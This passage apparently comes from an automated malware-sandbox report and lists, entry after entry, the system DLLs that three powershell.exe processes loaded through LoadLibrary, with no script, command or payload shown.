00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00004524) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00003924) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter 